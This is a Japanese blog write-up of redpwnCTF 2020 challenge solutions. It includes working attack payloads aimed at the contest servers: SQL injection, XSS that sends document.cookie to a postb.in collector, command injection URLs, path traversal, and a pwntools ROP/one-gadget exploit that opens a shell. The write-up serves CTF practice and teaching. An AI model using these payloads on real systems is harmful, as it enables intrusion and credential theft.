/dev/null

脳みそのL1キャッシュ

redpwnCTF 2020 write-up

はじめに

f:id:d2v:20200628174636p:plain

redpwnCTF 2020というCTFに1週間出ていたので、そこで解いた問題のwrite-upを書いていこうと思います。

CTFの結果は167/1494位でした。まあまあ、悪くはないけど良くもない感じです…欲を言えば100位以内に入りたかったですね…

解いた問題は全部で19問あるので、全部詳細に書いていくと面倒くさい量が膨大になるので、簡単な問題はさっと一言で終わらせようかと思います。

1. web

inspector-general

問題

My friend made a new webpage, can you find a flag?

解法

リンク先のページのソースを見てみると、ソースの先頭にフラグが書いてありました。フラグはflag{1nspector_g3n3ral_at_w0rk}

<!DOCTYPE html>
<html lang="en-us">
  <head>
   <meta name="generator" content="Hugo 0.72.0" />
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="redpwnctf2020" content="flag{1nspector_g3n3ral_at_w0rk}">
    <title>Home | redpwn</title>

login

問題

I made a cool login page. I bet you can't get in! Site: login.2020.redpwnc.tf

Downloads: index.js

解法

リンク先のサイトを見に行くと、こんな感じのWebサイトになってます。

f:id:d2v:20200628133056p:plain
redpwn2020_login

まあ、SQLiだろうと与えられたindex.jsを見ると以下のような記述を見つけました。

...
    let result;
    try {
        console.log(`SELECT * FROM users
            WHERE username = '${username}'
            AND password = '${password}';`);
        result = db.prepare(`SELECT * FROM users
            WHERE username = '${username}'
            AND password = '${password}';`).get();
    } catch (error) {
        res.json({ success: false, error: "There was a problem." });
        res.end();
        return;
    }

    if (result) {
        res.json({ success: true, flag: process.env.FLAG });
        res.end();
        return;
    }

    res.json({ success: false, error: "Incorrect username or password." });
});

usernamepasswordを文字列としてSQL文に埋め込んでるので、がっつりSQLiできそうですね。ログインフォームに以下を入力すれば、ポップアップが出てきたフラグを取得できました。

Username = admin
Password = ' OR 1 = 1 -- 

フラグはflag{0bl1g4t0ry_5ql1}です。

static-pastebin

問題

I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it here

Site: static-pastebin.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

解法

static-pastebin.2020.redpwnc.tfにアクセスすると以下のようなWebサイトになってます。

f:id:d2v:20200628134904p:plain
static-pastebin_1

何か入力して、Createボタンを押してみるとこんな感じのページに遷移します。

f:id:d2v:20200628135114p:plain
static-pastebin_2

XSSの匂いがしますので、<script>alert(1);</script>タグを仕込んでみます。

f:id:d2v:20200628135319p:plain
static-pastebin_3

何かのサニタイズ機能がありそうですね。入力を表示しているページのソースを見ると、こんな感じのJSコードを読み込んでいました。

(async () => {
    await new Promise((resolve) => {
        window.addEventListener('load', resolve);
    });

    const content = window.location.hash.substring(1);
    display(atob(content));
})();

function display(input) {
    document.getElementById('paste').innerHTML = clean(input);
}

function clean(input) {
    let brackets = 0;
    let result = '';
    for (let i = 0; i < input.length; i++) {
        const current = input.charAt(i);
        if (current == '<') {
            brackets ++;
        }
        if (brackets == 0) {
            result += current;
        }
        if (current == '>') {
            brackets --;
        }
    }
    return result
}

<が出現するとbrackets++>が出現するとbrackets--brackets == 0のときだけ文字を出力する。というサニタイザになってます。このサニタイザは>を先頭につけるだけで簡単に突破できます。

><img src="#" onerror="alert(1);">入力してCreateボタンを押してみると

f:id:d2v:20200628135753p:plain
static-pastebin_4

できましたね。

次に、static-pastebin.2020.redpwnc.tfを見てみましょう。

f:id:d2v:20200628135913p:plain
static-pastebin_5

どうやらURLを与えると、Admin BotがそのURLにアクセスしてくれそうです。ここは若干のguessが入りますが、多分Admin Botのクッキーにフラグが入っていて、それを盗む問題だと仮定してみます。

Admin Botがクッキーを送信するドメインはきっと*.2020.redpwnc.tfだと考えて、先程のStatic Pastbinに以下のXSSを仕込んで、Admin BotにそのURLを渡します。

><img src="#" onerror="window.location.href='https://postb.in/1593320685649-0742171728052?q=' + document.cookie">

少し解説するとこれは、XSSが仕込まれたページにアクセスしたユーザーをhttps://postb.in/1593320685649-0742171728052に誘導し、その際にクエリqにクッキーをつけるという攻撃コードになっています。

ちなみに、Postbinはリクエストを収集するためのエンドポイント(URL)を自動で生成してくれるサービスでCTFでは結構活躍します。

生成された以下のURLをAdmin Botに与えて、Postbinで待機してみると…

https://static-pastebin.2020.redpwnc.tf/paste/#PjxpbWcgc3JjPSIjIiBvbmVycm9yPSJ3aW5kb3cubG9jYXRpb24uaHJlZj0naHR0cHM6Ly9wb3N0Yi5pbi8xNTkzMzIwNjg1NjQ5LTA3NDIxNzE3MjgwNTI/cT0nICsgZG9jdW1lbnQuY29va2llIj4=

f:id:d2v:20200628141309p:plain
static-pastebin_6

アクセスが来ましたね。フラグはflag{54n1t1z4t10n_k1nd4_h4rd}です。

panda-facts

問題

I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!

Site: panda-facts.2020.redpwnc.tf

Downloads: index.js

解法

panda-facts.2020.redpwnc.tfにアクセスすると、以下のWebサイトに遷移します。

f:id:d2v:20200628141911p:plain
panda-facts_1

なんだかよくわからないので、与えられたindex.jsを見てみると

app.post('/api/login', async (req, res) => {
    if (!req.body.username || typeof req.body.username !== 'string') {
        res.status(400);
        res.end();
        return;
    }
    res.json({'token': await generateToken(req.body.username)});
    res.end;
});

...

app.get('/api/flag', async (req, res) => {
    if (!req.cookies.token || typeof req.cookies.token !== 'string') {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    const result = await decodeToken(req.cookies.token);
    if (!result) {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    if (!result.member) {
        res.json({success: false, error: 'You are not a member'});
        res.end();
        return;
    }

    res.json({success: true, flag: process.env.FLAG});
});

...

async function generateToken(username) {
    const algorithm = 'aes-192-cbc';
    const key = Buffer.from(process.env.KEY, 'hex');
    // Predictable IV doesn't matter here
    const iv = Buffer.alloc(16, 0);

    const cipher = crypto.createCipheriv(algorithm, key, iv);

    const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`
    console.log(token);

    let encrypted = '';
    encrypted += cipher.update(token, 'utf8', 'base64');
    encrypted += cipher.final('base64');
    return encrypted;
}

async function decodeToken(encrypted) {
    const algorithm = 'aes-192-cbc';
    const key = Buffer.from(process.env.KEY, 'hex');
    // Predictable IV doesn't matter here
    const iv = Buffer.alloc(16, 0);
    const decipher = crypto.createDecipheriv(algorithm, key, iv);

    let decrypted = '';

    try {
        decrypted += decipher.update(encrypted, 'base64', 'utf8');
        decrypted += decipher.final('utf8');
    } catch (error) {
        return false;
    }

    let res;
    try {
        res = JSON.parse(decrypted);
    } catch (error) {
        console.log(error);
        return false;
    }

    if (res.integrity !== INTEGRITY) {
        return false;
    }

    return res;
}

どうやら、api/flagというエンドポイントがあり、そこからフラグを得られるのだが、そのためにはクッキーにmember=1が設定されたjson形式のトークンを渡さないといけないっぽいです。

しかし、generateTokenを見てみると、サーバ側ではmember=0トークンしか作らないので、どうにかして、member=1にしたトークンを手に入れないと駄目です。

const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`

この部分をよく見るとjson文字列に、ユーザの入力をそのまま埋め込んでいますね。ここのusernameに以下を埋め込めば、member=1に設定できそうです。

admin", "member": 1, "test": "test

では、api/loginに以下のjsonを投げると

{
    "username": "admin\", \"member\": 1, \"test\": \"test"
}

こんな感じのトークンが返ってきます。

{
    "token": "UK4cRIQoC6CqgCXpQeQIyU6V0PL6UZ+P/XEROuEd2XqqG77e6Op7ittY2dy0oUppbiLf1hBSSiyq+aWAViCIoVlR9Zi1NxWUtktqK3lS0HCA/5LMsJha/xjUgTku7ckF7cQVKn+D/tLo61FFp3gNSQ=="
}

このトークンをクッキーに設定して、/api/flagにアクセスしてみると…

{
    "success": true,
    "flag": "flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}"
}

来ましたね。フラグはflag{1_c4nt_f1nd_4_g00d_p4nd4_pun}です。

static-static-hosting

問題

Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me here

Site: static-static-hosting.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

解法

問題設定は基本的にstatic-pastebinと同じですが、サニタイズ処理がこんな感じになっています。

function sanitize(element) {
    const attributes = element.getAttributeNames();
    for (let i = 0; i < attributes.length; i++) {
        // Let people add images and styles
        if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {
            element.removeAttribute(attributes[i]);
        }
    }

    const children = element.children;
    for (let i = 0; i < children.length; i++) {
        if (children[i].nodeName === 'SCRIPT') {
            element.removeChild(children[i]);
            i --;
        } else {
            sanitize(children[i]);
        }
    }
}
  1. 属性はsrc, width, height, alt, classのいずれかしか許さない
  2. scriptタグは許さない

これも簡単にバイパスできます。src属性にはJavaScriptのコードが書けるからです。

こんな感じのXSSを仕込んで、Admin Botにアクセスさせるとフラグを入手できます。

<iframe src="javascript:window.location.href='https://postb.in/1593323465195-3182800728827?c='+document.cookie"></iframe>

フラグはflag{wh0_n33d5_d0mpur1fy}です。

コンテスト中はこれで解けてたが、コンテスト後では解けなくなってた…どういうこと…

tux-fanpage

問題

My friend made a fanpage for Tux; can you steal the source code for me?

Site: tux-fanpage.2020.redpwnc.tf

Downloads: index.js

解法

今回解いた問題の中で一番好きかもしれない。tux-fanpage.2020.redpwnc.tfにアクセスするとこんな感じのやばいページに遷移します。

f:id:d2v:20200628150226p:plain
tux

ソースを見てみると

<!doctype html>
<html>
    <head>
       <title>Tux</title>
    <link rel='stylesheet' type='text/css' href='?path=style.css'>
   </head>

パストラバーサルの匂いがしますね…index.jsを見てみると

const express = require('express')
const path = require('path')
const app = express()

//Don't forget to redact from published source
const flag = '[REDACTED]'

...

app.get('/page', (req, res) => {

    let path = req.query.path

    //Handle queryless request
    if(!path || !strip(path)){
        res.redirect('/page?path=index.html')
        return
    }

    path = strip(path)

    path = preventTraversal(path)

    res.sendFile(prepare(path), (err) => {
        if(err){
            if (! res.headersSent) {
                try {
                    res.send(strip(req.query.path) + ' not found')
                } catch {
                    res.end()
                }
            }
        }
    })
})

//Prevent directory traversal attack
function preventTraversal(dir){
    if(dir.includes('../')){
        let res = dir.replace('../', '')
        return preventTraversal(res)
    }

    //In case people want to test locally on windows
    if(dir.includes('..\\')){
        let res = dir.replace('..\\', '')
        return preventTraversal(res)
    }
    return dir
}

//Get absolute path from relative path
function prepare(dir){
    return path.resolve('./public/' + dir)
}

//Strip leading characters
function strip(dir){
    const regex = /^[a-z0-9]$/im

    //Remove first character if not alphanumeric
    if(!regex.test(dir[0])){
        if(dir.length > 0){
            return strip(dir.slice(1))
        }
        return ''
    }

    return dir
}

req.query.pathに対して以下のサニタイズ処理をしています。

  1. 先頭にある[a-z0-9]以外の文字を消す
  2. ../再帰に消す

この2.の再帰的に消すが曲者で、もし再帰的に消してなかった場合は....//を入力すれば、真ん中の../が消され、残りの../パストラバーサルができます。

数時間悩んだ結果、以下の箇所でクエリが文字列であることを確かめる処理がないことに気づきました。

    let path = req.query.path

    //Handle queryless request
    if(!path || !strip(path)){
        res.redirect('/page?path=index.html')
        return
    }

このため、req.query.pathに配列を渡すことができれば、サニタイズ処理をすべてバイパスできます。結果から書くと以下のURLにアクセスした場合、req.query.pathは配列となり、すべてのサニタイズ処理をバイパスできます。

https://tux-fanpage.2020.redpwnc.tf/page?path=a&path=ssets/../../index.js

クエリ文字列にpathを2つ指定した場合、pathは配列になります。

req.query.path == ["a", "ssets/../../index.js"];

strip()の処理を考えてみると、regex.test(dir[0])aに対して実行されるので、ここはそのままバイパスされ、["a", "ssets/../../index.js"]stripから返ってきます。

次に、preventTraversal()の処理を考えると、path配列には../が含まれていないので、そのままバイパスされ、同様に["a", "ssets/../../index.js"]が返ってきます。

最後に、prepareでは["a", "ssets/../../index.js"]のすべての要素が結合され、assets/../../index.jsになります。これでパストラバーサルが成功します。

https://tux-fanpage.2020.redpwnc.tf/page?path=a&path=ssets/../../index.jsにアクセスすると、以下のようにサーバ上にあるindex.jsのコードを閲覧できます。

const express = require('express')
const path = require('path')
const app = express()

//Don't forget to redact from published source
const flag = 'flag{tr4v3rsal_Tim3}'

app.get('/', (req, res) => {
    res.redirect('/page?path=index.html')
})

ソースコードに書いてある通り、フラグはflag{tr4v3rsal_Tim3}です。

post-it-notes

問題

Request smuggling has many meanings. Prove you understand at least one of them at 2020.redpwnc.tf:31957.

Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.

Downloads: source.zip

解法

恐怖を覚えるほど読みにくいPythonソースコードが渡されます。ソースコードは置いといて、2020.redpwnc.tf:31957にアクセスしてみると

f:id:d2v:20200628152155p:plain
post-it-notes_1

適当なタイトルとコンテンツを入力してCreate POST-it Noteボタンを押すと以下のようなページに遷移します。

f:id:d2v:20200628152327p:plain
post-it-notes_2

ノート投稿サービスって所ですかね。URLはこんな感じhttp://2020.redpwnc.tf:31957/notes/this%20is%20title140628189552128

なんだかよくわからないので、ソースコードを読んでみると以下のように2段構えのサーバ構成になっていることがわかりました。

f:id:d2v:20200628153504j:plain
post-it-notes_3

ソースコードがあまりにも雑で至るところにバグがあり、どれを突けばいいのかわからなくて辛かったです。SSRFとかHTTP Request Smugglingとかも考えていましたが、単純にOSコマンドインジェクション脆弱性がありました。

上の図のNote取得のcat 'notes/{nid}'の所ですね。nidはユーザーが任意の操作できるパラメータです。

具体的なデータの流れを見てみると

1. webサーバ

URLパラメータにnidを取ります。これをNote.getに渡してノートを取得します。

@app.route('/notes/<nid>')
def notes(nid):
    try:
        print(f"nid: {nid}")
        n = Note.get(nid, port = BACKEND_PORT)
        return render_template('note.html', note = n)
    except:
        return render_template('error.html')
2. Noteクラス

nidjsontitleフィールドに入れて、apiサーバに渡しています。

# :lemonthink:
class Note:
    # XXX: no static typing? :(
    def get(nid, port = None):
        _host = API_HOST.format(port = port)
        json = jason
        note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = {
            'title' : nid
        }, headers = {
            'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD
            'Connection' : 'close'
        }).text) or '{}') # url encoding is for noobs
3. apiサーバ

titleがそのまま、get_noteに渡されます。なにもサニタイズ処理がないので、簡単にOSコマンドインジェクションができることがわかります。

def get_note(nid):
    stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()
    if stderr:
        print(stderr) # lemonthink
        return {}
    return {
        'success' : True,
        'title' : nid,
        'contents' : stdout.decode('utf-8', errors = 'ignore')
    }

@app.route('/api/v1/notes/', methods = ['GET', 'POST'])
def notes():
    #
    # NOTE: be sure to read this line below, or the following things will happen:
    # 1. You'll spend several hours trying to figure out why your exploit isn't working
    # 2. Then, once you realized I literally warned you about this, you'll be mad.
    # 3. Because you spent hours trying to fix your own exploit, you'll call this chal "guessy"
    # 4. The redpwnCTF CTFTime score will go down because you will downvote it over this chal (plz no)
    # 5. You won't win the CTF (HackerOne hoodies!!!) because you spent so long on this chal.
    #
    # tl;dr LITERALLY just READ THE CODE CAREFULLY! I am GIVING you the source, you don't even need
    # to add ?source or use LFI or anything!
    #
    # ^^^ btw I gotchu, just hmu if u want me to :leek: u some flags ;))
    #

    #if request.headers.get('Authorization') != 'his name is john connor':
    #    return {'success' : False, 'note' : 'u a fake'}

    # nevermind guys haha i changed my mind, this is a secret webserver, we don't need authorization header since bad guys can never access it anyway!!!!!!!111oneoneoneeleven

    ret_val = {'success':True}
    title = request.values['title']
    if 'contents' not in request.values: # reading note
        note = get_note(str(title)[:0xff])
        ret_val.update(note)

まずは、lsを実行してどんなファイルがあるか確認します。

http://2020.redpwnc.tf:31957/notes/testasdasdga140628189720304'; ls ; echo 'test

f:id:d2v:20200628155121p:plain
post-it-notes_4

flag.txtがあるので、これをcatします。

http://2020.redpwnc.tf:31957/notes/testasdasdga140628189720304'; cat flag.txt ; echo 'test

f:id:d2v:20200628155250p:plain
post-it-notes_5

フラグはflag{y0u_b3tt3r_n0t_m@k3_m3_l0s3_my_pyth0n_d3v_j0b}です。

2. crypto

base646464

問題

Encoding something multiple times makes it exponentially more secure!

Downloads: cipher.txt generate.js

解法

generate.jsを見てみると

const btoa = str => Buffer.from(str).toString('base64');

const fs = require("fs");
const flag = fs.readFileSync("flag.txt", "utf8").trim();

let ret = flag;
for(let i = 0; i < 25; i++) ret = btoa(ret);

fs.writeFileSync("cipher.txt", ret);

25回base64 encodingを実行しています。なので、逆に25回base64 decodingを実行すれば解けます。

フラグはflag{l00ks_l1ke_a_l0t_of_64s}

pseudo-key

問題

Keys are not always as they seem...

Note: Make sure to wrap the plaintext with flag{} before you submit! Downloads: pesudo-key-output.txt pseudo-key.py

解法

pseudo-key.pyを見てみるとこんな感じになってます。

#!/usr/bin/env python3

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

def encrypt(ptxt, key):
    ptxt = ptxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()
    ctxt = ''
    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

with open('flag.txt') as f, open('key.txt') as k:
    flag = f.read()
    key = k.read()

ptxt = flag[5:-1]

ctxt = encrypt(ptxt,key)
pseudo_key = encrypt(key,key)

print('Ciphertext:',ctxt)
print('Pseudo-key:',pseudo_key)

基本的には多表式暗号ですが、鍵を鍵で暗号化した暗号文ももらえます。pseudo-key-output.txtを見てみると

Ciphertext: z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut
Pseudo-key: iigesssaemk

鍵長が短いので、総当たりで鍵を見つけることができます。以下にソルバを置いときます。

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

def encrypt(ptxt, key):
    ptxt = ptxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()
    ctxt = ''
    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

def decrypt(ctxt, key):
    ctxt = ctxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ctxt))).lower()
    ptxt = ''
    for i in range(len(ctxt)):
        if ctxt[i] == '_':
            ptxt += '_'
            continue
        x = chr_to_num[ctxt[i]]
        y = chr_to_num[key[i]]
        ptxt += num_to_chr[(x - y) % 26]
    return ptxt

def solve(idx, pseudo_key, key):
    if idx == len(pseudo_key):
        print(decrypt(ctxt, key))
        return

    p = pseudo_key[idx]
    for i in range(0, 26):
        if (i + i) % 26 == chr_to_num[p]:
            solve(idx + 1, pseudo_key, key + num_to_chr[i])

ctxt = "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut"
pseudo_key = "iigesssaemk"

solve(0, pseudo_key, "")

実行すると、あり得るすべての平文が出力されますが、フィーリングでフラグを見つけることができます。

フラグはflag{i_guess_pseudo_keys_are_pseudo_secure}

4k-rsa

問題

Only n00bz use 2048-bit RSA. True gamers use keys that are at least 4k bits long, no matter how many primes it takes...

Downloads: 4k-rsa-public-key.txt

解答

2048-bit RSAを使っているので安全とのことです。こういう問題の公開鍵(N)はだいたい素因数分解できます。

ネットに転がっている素因数分解サービスを使った所、数10分で素因数分解が終わりました。

Nは64個の素数の積で構成されているようです。Multi Prime RSAですね。RSA暗号は複数の素数でNが構成されていても、暗号化、復号することができます。なので、普通のRSAアルゴリズムに従って、素因数からオイラーのファイ関数の値を計算し、秘密鍵(d)を割り出して、復号します。

ソルバは以下の通りです。

n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877
e = 65537
c = 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171
primes = list(map(int, open("primes.txt").read().split()))

from operator import mul
from functools import reduce
from Crypto.Util.number import inverse, long_to_bytes

phi = reduce(mul, [p - 1 for p in primes])
d = inverse(e, phi)
p = pow(c, d, n)

print(long_to_bytes(p))

12-shades-of-redpwn

問題

Everyone's favorite guess god Tux just sent me a flag that he somehow encrypted with a color wheel!

I don't even know where to start, the wheel looks more like a clock than a cipher... can you help me crack the code? Downloads: ciphertext.jps color-wheel.jpg

解答

自分が解いたわけではなく、友人が解いたのですが、どうやらフラグは色相環を使って、12進数でエンコードされていたようです。

フラグはflag{9u3ss1n9_1s_4n_4rt}

3. pwn

coffer-overflow-0, coffer-overflow-1, coffer-overflow-2

バッファオーバーフローするだけのあまり面白みのない問題なので、飛ばします。

secret-flag

問題

There's a super secret flag in printf that allows you to LEAK the data at an address??

nc 2020.redpwnc.tf 31826 Downloads: secret-flag

解法

BinaryNinjaで解析した結果、main関数の処理が以下のようになってることがわかりました。

f:id:d2v:20200628171041p:plain
secret-flag

入力を格納したバッファをそのままprintf関数に渡しているので、Format String Bugがあります。

GDBでprintf関数を呼び出しているあたりを見てみます。

f:id:d2v:20200628171801p:plain
secret-flag_2

スタックトップから2番目の所にフラグ文字列へのポインタがあることがわかります。Linuxではx64 archの場合、第6引数まではレジスタを使いますが、第7引数からはスタックを使います。Format String Bugでは第n引数を文字列として解釈し、リークしたい場合、%n-1$sをprintf関数の第1引数に渡します。

上記のGDBの画面を見ると、スタックトップから2番目の所にフラグ文字列があるので、これはprintf関数から見れば第8引数なので、%7$sを渡せばこの値をリークできます。

$ nc 2020.redpwnc.tf 31826
I have a secret flag, which you'll never get!
What is your name, young adventurer?
%7$s
Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}

フラグはflag{n0t_s0_s3cr3t_f1ag_n0w}です。

the-library

問題

There's not a lot of useful functions in the binary itself. I wonder where you can get some...

nc 2020.redpwnc.tf 31350 Downloads: the-library the-library.c libc.so.6

解法

checksecをしてみます。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

checksecの結果とlibc.so.6が渡されることを考えると、この問題はきっとbof→libc base leak→ROPだとあたりをつけます。

ソースコードも渡されているので見てみましょう。

#include <stdio.h>
#include <string.h>

int main(void)
{
  char name[16];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to the library... What's your name?");

  read(0, name, 0x100);
  puts("Hello there: ");
  puts(name);
}

name配列は16バイトしか無いのに、read(0, name, 0x100);してるので完全にbofですね。

1. libc base leak

なにはともあれ、libcのベースアドレスをリークする必要があります。これはbofからputs@pltへret2plt攻撃を実行すればよさそうです。 リークするアドレスはlibc内のアドレスであれば何でも良いので、今回はread@gotをリークすることにします。

これを実行するためには、puts@pltを呼び出した時点で、第1引数(rdiレジスタ)にread@gotのアドレスを代入する必要があります。 rp++を使って、ROPガジェットを探していきます。

$ rp++ -f ./the-library --unique -r 2
...
0x00400733: pop rdi ; ret  ;  (1 found)
...

ちょうどpop rdiがあったので、これを使って、第1引数を設定します。

2. one gadget RCE

次にone gadget RCEを実行する必要があります。one gadget RCEとはlibc内に存在するコード片で、これを実行すれば一気に/bin/shを起動できます。(普通は、execveシステムコールの引数を自分で地道に準備して、syscall命令を呼び出す必要があります)

one gadget RCEを実行したいのですがが、1.のlibc base leakを実行している時点で、main関数の処理はすでに終了しているおり、入手したlibc base addressを使ってlibc内に処理を飛ばすことができません。ここで、bofを利用して、main関数を再度実行させます。

main関数を再度実行することで、bofをもう1回引き起こすことができ、このbofでone gadget RCEに処理を飛ばします。

one gadget RCEはこのツールを使えば簡単に探すことができます。

$ one_gadget ./libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

以下にソルバを載せておきます。

from pwn import *

# one-gadget RCE
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

e = ELF("./the-library")
# p = process("./the-library")
# l = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
p = remote("2020.redpwnc.tf", 31350)
l = ELF("./libc.so.6")

pop_rdi = 0x00400733
one_gadget_offset = 0x10a38c

pld = b"A" * 0x18
pld += p64(pop_rdi)
pld += p64(e.got["read"])
pld += p64(e.plt["puts"])
pld += p64(e.symbols["main"])

with open("pld.bin", "wb") as f:
    f.write(pld)

# libc base leak
p.sendafter("name?\n", pld)
p.recvuntil("Hello there: ")
libc_base = u64(p.recv()[29:29+6] + b"\x00\x00") - l.symbols["read"]
log.info(f"libc base: 0x{libc_base:x}")

# execute main again & send one_gadget RCE address
one_gadget = one_gadget_offset + libc_base
pld = b"A" * 0x18
pld += p64(one_gadget)

p.sendline(pld)
p.interactive()

これを実行するとシェルを奪取できます。

$ python solve.py
...
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc base: 0x7f03db1b1000
[*] Switching to interactive mode
Hello there:
AAAAAAAAAAAAAAAAAAAAAAAA\x8c\xb3+\xdb\x7f
$ ls
Makefile
bin
dev
flag.txt
lib
lib32
lib64
libc.so.6
the-library
the-library.c
$ cat flag.txt
flag{jump_1nt0_th3_l1brary}

フラグはflag{jump_1nt0_th3_l1brary}です。

4. misc

sanity-check

問題

Good luck; have fun! flag{54n1ty_ch3ck_f1r5t_bl00d?}

解法

いわゆるWelcome問。フラグはflag{54n1ty_ch3ck_f1r5t_bl00d?}

discord

問題

Join our discord: https://discord.gg/25fu2Xd. Flag is in #announcements

解法

こちらもWelcome問。Discordに参加すると#announcementsチャンネルにフラグが書いてあった。

5. rev

ropes

問題

It's not just a string, it's a rope! Downloads: ropes

解法

以下を実行するだけ

$ strings ropes
Give me a magic number:
First part is: flag{r0pes_ar3_
Second part is: just_l0ng_str1ngs}

フラグはflag{r0pes_ar3_just_l0ng_str1ngs}

おわりに

1週間のCTFはつらい。毎日仕事終わってから4時間はCTFやってたので正気の沙汰ではなかったですのが、面白かったからヨシとします。

今回は主にweb中心の取り組んだので、pwnとかrevとかcryptoとか、他の興味あるジャンルはほぼ手つかずでした。時間あるときに、他のジャンルの問題も解いときたい…